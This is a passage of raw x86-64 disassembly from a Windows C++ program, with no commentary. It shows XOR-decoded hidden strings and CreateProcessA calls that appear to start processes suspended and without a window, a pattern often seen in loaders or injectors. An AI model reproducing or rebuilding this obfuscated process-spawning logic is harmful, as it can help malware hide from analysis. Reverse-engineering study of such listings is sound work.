ja 0x140005fd3
call fcn.140093d04
test bl, bl
je 0x140005e86
movdqa xmm0, xmmword [0x1400b9090]
movdqa xmm1, xmmword [0x1400b9270]
movdqa xmm2, xmmword [0x1400b9210]
mov word [rbp + 0x268], 0xcfda
mov ecx, 0x1a8
mov eax, dword [rcx + rdi]
mov edx, 0x260
test al, 1
jne 0x140005ccd
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x32], 1
lea rax, [rbx + 0x31]
lea rcx, [rbp + 0x269]
cmp rbx, rcx
ja 0x140005ca8
lea rcx, [rbp + 0x238]
cmp rax, rcx
jb 0x140005ca8
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x268]
mov word [rbx + 0x30], ax
jmp 0x140005cbe
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx + 0x20], xmm2
movzx eax, word [rbp + 0x268]
mov word [rbx + 0x30], ax
lea rcx, [0x1400a8ab0]
call fcn.140093de0
nop
jmp 0x140005cd1
lea rbx, [rdi + rdx]
mov rcx, rbx
call fcn.140007d40
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140005cf0
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140009a30
nop
lea r8, [rbp + 0x110]
cmp qword [rsp + 0x50], 0x10
cmovae r8, r12
mov r9, r15
xor edx, edx
lea rcx, [rbp - 0x38]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rbp + 0x168], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x178], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x168], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x178], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0xf
mov byte [rax], cl
lea rdx, [rbp + 0x168]
cmp qword [rbp + 0x180], 0x10
cmovae rdx, qword [rbp + 0x168]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ecx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x140005df7
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005df2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rbp + 0x178], xmm0
mov byte [rbp + 0x168], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005e4c
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e47
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005e47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x140005e6a
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rbp + 0x128]
mov qword [rsp + 0x50], rdi
mov r15, qword [rbp + 0x120]
mov r12, qword [rbp + 0x110]
jmp 0x140005e8b
mov rdi, qword [rsp + 0x50]
movdqa xmm0, xmmword [0x1400b9750]
mov word [rbp + 0x1c8], 0xe78e
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov edx, 0x3fc
mov eax, dword [rdx + rcx]
mov ebx, 0x400
add rbx, rcx
test al, 1
jne 0x140005f0d
or eax, 1
mov dword [rdx + rcx], eax
mov byte [rbx + 0x12], 1
lea rax, [rbx + 0x11]
lea rcx, [rbp + 0x1c9]
cmp rbx, rcx
ja 0x140005ef2
lea rcx, [rbp + 0x1b8]
cmp rax, rcx
jb 0x140005ef2
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1c8]
mov word [rbx + 0x10], ax
jmp 0x140005f00
movups xmmword [rbx], xmm0
movzx eax, word [rbp + 0x1c8]
mov word [rbx + 0x10], ax
lea rcx, [0x1400a8a90]
call fcn.140093de0
nop
cmp byte [rbx + 0x12], 0
je 0x140005f5e
xor byte [rbx], 0xeb
xor byte [rbx + 1], 0xe7
xor byte [rbx + 2], 0x11
xor byte [rbx + 3], 0x47
xor byte [rbx + 4], 0xc7
xor byte [rbx + 5], 0x3d
xor byte [rbx + 6], 0x39
xor byte [rbx + 7], 7
xor byte [rbx + 8], 0xeb
xor byte [rbx + 9], 0xe7
xor byte [rbx + 0xa], 0x11
xor byte [rbx + 0xb], 0x47
xor byte [rbx + 0xc], 0xc7
xor byte [rbx + 0xd], 0x3d
xor byte [rbx + 0xe], 0x39
xor byte [rbx + 0xf], 7
xor byte [rbx + 0x10], 0xeb
xor byte [rbx + 0x11], 0xe7
mov byte [rbx + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
mov r8, rsi
inc r8
cmp byte [rbx + r8], 0
jne 0x140005f70
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140009a30
nop
lea rdx, [rbp - 0x38]
mov rcx, qword [rbp - 0x40]
call fcn.140006f90
cmp byte [rax], 4
jne 0x140006ccb
movzx ebx, byte [rax + 8]
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x140005fdf
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fda
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test bl, bl
je 0x140006175
call fcn.140006eb0
mov rcx, rax
call fcn.140007c20
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140006006
mov rdx, rcx
lea rcx, [rbp + 8]
call fcn.140009a30
nop
lea r8, [rbp + 0x110]
cmp rdi, 0x10
cmovae r8, r12
mov r9, r15
xor edx, edx
lea rcx, [rbp + 8]
call fcn.14000ac40
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
xor edi, edi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rdx, qword [rbp - 0x70]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400060f3
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400060ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
movdqa xmm0, xmmword [0x1400b8b70]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], dil
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x140006142
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000613d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000613d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
test ebx, ebx
je 0x140006160
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r15, qword [rbp + 0x128]
mov qword [rsp + 0x50], r15
mov r12, qword [rbp + 0x110]
jmp 0x14000617c
mov r15, qword [rsp + 0x50]
xor edi, edi
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0x10
cmovae rdx, qword [rbp + 0xd0]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400066bc
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15, qword [rsp + 0x68]
mov rdx, r15
cmp qword [r15 + 0x18], 0x10
jb 0x1400061f4
mov rdx, qword [r15]
mov ecx, dword [rbp + 0xa8]
call fcn.140020870
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movdqa xmm0, xmmword [0x1400ba690]
mov dword [rbp + 0x160], 0x1951494f
mov word [rbp + 0x164], 0x6d11
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2dc
mov eax, dword [rcx + rdi]
mov ebx, 0x188
add rbx, rdi
test al, 1
jne 0x1400062ac
or eax, 1
mov dword [rcx + rdi], eax
mov byte [rbx + 0x17], 1
lea rax, [rbx + 0x16]
lea rcx, [rbp + 0x166]
cmp rbx, rcx
ja 0x140006284
lea rcx, [rbp + 0x150]
cmp rax, rcx
jb 0x140006284
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x160]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x164]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x8f
jmp 0x14000629f
movups xmmword [rbx], xmm0
mov eax, dword [rbp + 0x160]
mov dword [rbx + 0x10], eax
movzx eax, word [rbp + 0x164]
mov word [rbx + 0x14], ax
mov byte [rbx + 0x16], 0x8f
lea rcx, [0x1400a8a30]
call fcn.140093de0
nop
cmp byte [rbx + 0x17], 0
je 0x140006311
xor byte [rbx], 0x23
xor byte [rbx + 1], 0x3d
xor byte [rbx + 2], 0x7f
xor byte [rbx + 3], 0x7d
xor byte [rbx + 4], 0x7d
xor byte [rbx + 5], 1
xor byte [rbx + 6], 0x8f
xor byte [rbx + 7], 0x8d
xor byte [rbx + 8], 0x23
xor byte [rbx + 9], 0x3d
xor byte [rbx + 0xa], 0x7f
xor byte [rbx + 0xb], 0x7d
xor byte [rbx + 0xc], 0x7d
xor byte [rbx + 0xd], 1
xor byte [rbx + 0xe], 0x8f
xor byte [rbx + 0xf], 0x8d
xor byte [rbx + 0x10], 0x23
xor byte [rbx + 0x11], 0x3d
xor byte [rbx + 0x12], 0x7f
xor byte [rbx + 0x13], 0x7d
xor byte [rbx + 0x14], 0x7d
xor byte [rbx + 0x15], 1
xor byte [rbx + 0x16], 0x8f
mov byte [rbx + 0x17], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [0x1400de8b0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400b9040]
mov dword [rbp + 0x100], 0xec856256
mov dword [rbp + 0x104], 0x6da55adb
mov dword [rbp + 0x108], 0xf7827b52
mov word [rbp + 0x10c], 0x4dda
mov ecx, 0x3f8
mov eax, dword [rcx + rdi]
mov edx, 0x318
test al, 1
jne 0x14000642b
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1f], 1
lea rax, [rbx + 0x1e]
lea rcx, [rbp + 0x10e]
cmp rbx, rcx
ja 0x1400063f4
lea rcx, [rbp + 0xf0]
cmp rax, rcx
jb 0x1400063f4
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x100]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x10c]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0xc1
jmp 0x14000641c
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x100]
movsd qword [rbx + 0x10], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbx + 0x18], eax
movzx eax, word [rbp + 0x10c]
mov word [rbx + 0x1c], ax
mov byte [rbx + 0x1e], 0xc1
lea rcx, [0x1400a8a00]
call fcn.140093de0
nop
jmp 0x14000642f
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1f], 0
je 0x1400064b4
xor byte [rbx], 0x37
xor byte [rbx + 1], 0x17
xor byte [rbx + 2], 0xeb
xor byte [rbx + 3], 0x8f
xor byte [rbx + 4], 0xb3
xor byte [rbx + 5], 0x3f
xor byte [rbx + 6], 0xc1
xor byte [rbx + 7], 0x4d
xor byte [rbx + 8], 0x37
xor byte [rbx + 9], 0x17
xor byte [rbx + 0xa], 0xeb
xor byte [rbx + 0xb], 0x8f
xor byte [rbx + 0xc], 0xb3
xor byte [rbx + 0xd], 0x3f
xor byte [rbx + 0xe], 0xc1
xor byte [rbx + 0xf], 0x4d
xor byte [rbx + 0x10], 0x37
xor byte [rbx + 0x11], 0x17
xor byte [rbx + 0x12], 0xeb
xor byte [rbx + 0x13], 0x8f
xor byte [rbx + 0x14], 0xb3
xor byte [rbx + 0x15], 0x3f
xor byte [rbx + 0x16], 0xc1
xor byte [rbx + 0x17], 0x4d
xor byte [rbx + 0x18], 0x37
xor byte [rbx + 0x19], 0x17
xor byte [rbx + 0x1a], 0xeb
xor byte [rbx + 0x1b], 0x8f
xor byte [rbx + 0x1c], 0xb3
xor byte [rbx + 0x1d], 0x3f
xor byte [rbx + 0x1e], 0xc1
mov byte [rbx + 0x1f], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140006523
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000651e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000651e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
xor esi, esi
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], sil
mov rdi, qword [rsp + 0x50]
cmp rdi, 0x10
jb 0x14000657f
lea rdx, [rdi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140006576
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006576
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140093d04
nop
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x1400065b9
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x1400065b4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400066a0
mov rcx, r8
call fcn.140093d04
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140006603
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1400065fe
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400066a7
mov rcx, r8
call fcn.140093d04
mov qword [r14 + 0x10], rsi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14000664a
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140006645
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400066ae
mov rcx, r8
call fcn.140093d04
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], 0xf
mov byte [r13], 0
mov rbx, qword [rbp - 0x48]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006695
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140006690
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400066b5
mov rcx, r8
call fcn.140093d04
mov qword [rbx + 0x10], rsi
xor eax, eax
jmp 0x140006c81
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x168]
call fcn.140021a00
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xor eax, eax
mov qword [rsp + 0x58], rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140008580
mov byte [rsp + 0x50], 3
call fcn.14000a300
mov qword [rsp + 0x58], rax
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x1fc
mov eax, dword [rcx + rdi]
mov ebx, 0x2e0
add rbx, rdi
test al, 1
jne 0x14000674a
or eax, 1
mov dword [rcx + rdi], eax
mov word [rbx + 9], 0x13b
mov dword [rbx], 0x7ac85a58
mov dword [rbx + 4], 0xef169ff8
mov byte [rbx + 8], 0x57
lea rcx, [0x1400a89e0]
call fcn.140093de0
nop
cmp byte [rbx + 0xa], 0
je 0x14000677b
xor byte [rbx], 0x3f
xor byte [rbx + 1], 0x3b
xor byte [rbx + 2], 0xa5
xor byte [rbx + 3], 0x1f
xor byte [rbx + 4], 0xa7
xor byte [rbx + 5], 0xef
xor byte [rbx + 6], 0x77
xor byte [rbx + 7], 0x9b
xor byte [rbx + 8], 0x3f
xor byte [rbx + 9], 0x3b
mov byte [rbx + 0xa], 0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
inc rsi
cmp byte [rbx + rsi], 0
jne 0x140006792
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 8]
call fcn.140009a30
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x168]
call fcn.140007060
nop
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x50]
mov byte [rax], cl
mov byte [rsp + 0x50], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x58]
mov qword [rax + 8], rdx
mov qword [rsp + 0x58], rcx
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x58]
call fcn.140008580
nop
lea rcx, [rbp + 0x168]
call fcn.140020fb0
mov rdx, qword [0x1400de8a8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400ba730]
mov dword [rbp + 0x140], 0x58f7348e
mov dword [rbp + 0x144], 0x9ba3d195
mov word [rbp + 0x148], 0x51e9
mov ecx, 0x4fc
mov eax, dword [rcx + rdi]
mov edx, 0x500
test al, 1
jne 0x1400068b4
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x1a], 1
lea rax, [rbx + 0x19]
lea rcx, [rbp + 0x149]
cmp rbx, rcx
ja 0x14000688a
lea rcx, [rbp + 0x130]
cmp rax, rcx
jb 0x14000688a
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x140]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x148]
mov word [rbx + 0x18], ax
jmp 0x1400068a5
movups xmmword [rbx], xmm0
movsd xmm0, qword [rbp + 0x140]
movsd qword [rbx + 0x10], xmm0
movzx eax, word [rbp + 0x148]
mov word [rbx + 0x18], ax
lea rcx, [0x1400a89b0]
call fcn.140093de0
nop
jmp 0x1400068b8
lea rbx, [rdi + rdx]
cmp byte [rbx + 0x1a], 0
je 0x140006929
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0x87
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0xe1
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x8d
xor byte [rbx + 7], 0x91
xor byte [rbx + 8], 0xe3
xor byte [rbx + 9], 0x51
xor byte [rbx + 0xa], 0x87
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0xe1
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x8d
xor byte [rbx + 0xf], 0x91
xor byte [rbx + 0x10], 0xe3
xor byte [rbx + 0x11], 0x51
xor byte [rbx + 0x12], 0x87
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0xe1
xor byte [rbx + 0x15], 0xb9
xor byte [rbx + 0x16], 0x8d
xor byte [rbx + 0x17], 0x91
xor byte [rbx + 0x18], 0xe3
xor byte [rbx + 0x19], 0x51
mov byte [rbx + 0x1a], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
mov rdx, qword [0x1400de8c0]
mov rcx, rax
call fcn.140009130
mov rsi, rax
movdqa xmm0, xmmword [0x1400ba610]
movdqa xmm1, xmmword [0x1400ba5c0]
mov dword [rbp + 0x208], 0x1db348f
mov dword [rbp + 0x20c], 0x91bc8ccf
mov ecx, 0x1b8
mov eax, dword [rcx + rdi]
mov edx, 0x418
test al, 1
jne 0x1400069de
or eax, 1
mov dword [rcx + rdi], eax
lea rbx, [rdi + rdx]
mov byte [rbx + 0x28], 1
lea rax, [rbx + 0x27]
lea rcx, [rbp + 0x20f]
cmp rbx, rcx
ja 0x1400069bb
lea rcx, [rbp + 0x1e8]
cmp rax, rcx
jb 0x1400069bb
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x208]
movsd qword [rbx + 0x20], xmm0
jmp 0x1400069cf
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
movsd xmm0, qword [rbp + 0x208]
movsd qword [rbx + 0x20], xmm0
lea rcx, [0x1400a8980]
call fcn.140093de0
nop
jmp 0x1400069e2
lea rbx, [rdx + rdi]
cmp byte [rbx + 0x28], 0
je 0x140006a8f
xor byte [rbx], 0xe3
xor byte [rbx + 1], 0x51
xor byte [rbx + 2], 0x87
xor byte [rbx + 3], 0x39
xor byte [rbx + 4], 0xe1
xor byte [rbx + 5], 0xb9
xor byte [rbx + 6], 0x8d
xor byte [rbx + 7], 0x91
xor byte [rbx + 8], 0xe3
xor byte [rbx + 9], 0x51
xor byte [rbx + 0xa], 0x87
xor byte [rbx + 0xb], 0x39
xor byte [rbx + 0xc], 0xe1
xor byte [rbx + 0xd], 0xb9
xor byte [rbx + 0xe], 0x8d
xor byte [rbx + 0xf], 0x91
xor byte [rbx + 0x10], 0xe3
xor byte [rbx + 0x11], 0x51
xor byte [rbx + 0x12], 0x87
xor byte [rbx + 0x13], 0x39
xor byte [rbx + 0x14], 0xe1
xor byte [rbx + 0x15], 0xb9
xor byte [rbx + 0x16], 0x8d
xor byte [rbx + 0x17], 0x91
xor byte [rbx + 0x18], 0xe3
xor byte [rbx + 0x19], 0x51
xor byte [rbx + 0x1a], 0x87
xor byte [rbx + 0x1b], 0x39
xor byte [rbx + 0x1c], 0xe1
xor byte [rbx + 0x1d], 0xb9
xor byte [rbx + 0x1e], 0x8d
xor byte [rbx + 0x1f], 0x91
xor byte [rbx + 0x20], 0xe3
xor byte [rbx + 0x21], 0x51
xor byte [rbx + 0x22], 0x87
xor byte [rbx + 0x23], 0x39
xor byte [rbx + 0x24], 0xe1
xor byte [rbx + 0x25], 0xb9
xor byte [rbx + 0x26], 0x8d
xor byte [rbx + 0x27], 0x91
mov byte [rbx + 0x28], 0
mov rdx, rbx
mov rcx, rsi
call fcn.140009130
lea rdx, [0x140009300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx edx, byte [rbp + 0x168]
lea rcx, [rbp + 0x170]
call fcn.140008580
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140006b03
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006afe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006afe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140093d04
xor edi, edi
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], dil
cmp r15, 0x10
jb 0x140006b5a
lea rdx, [r15 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140006b51
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r12
call fcn.140093d04
nop
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140006b99
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140006b94
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006caf
mov rcx, r8
call fcn.140093d04
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x140006be2
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x140006bdd
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006cb6
mov rcx, r8
call fcn.140093d04
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x140006c2d
mov rcx, qword [r13]
inc rdx
cmp rdx, 0x1000
jb 0x140006c28
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006cbd
mov rcx, r8
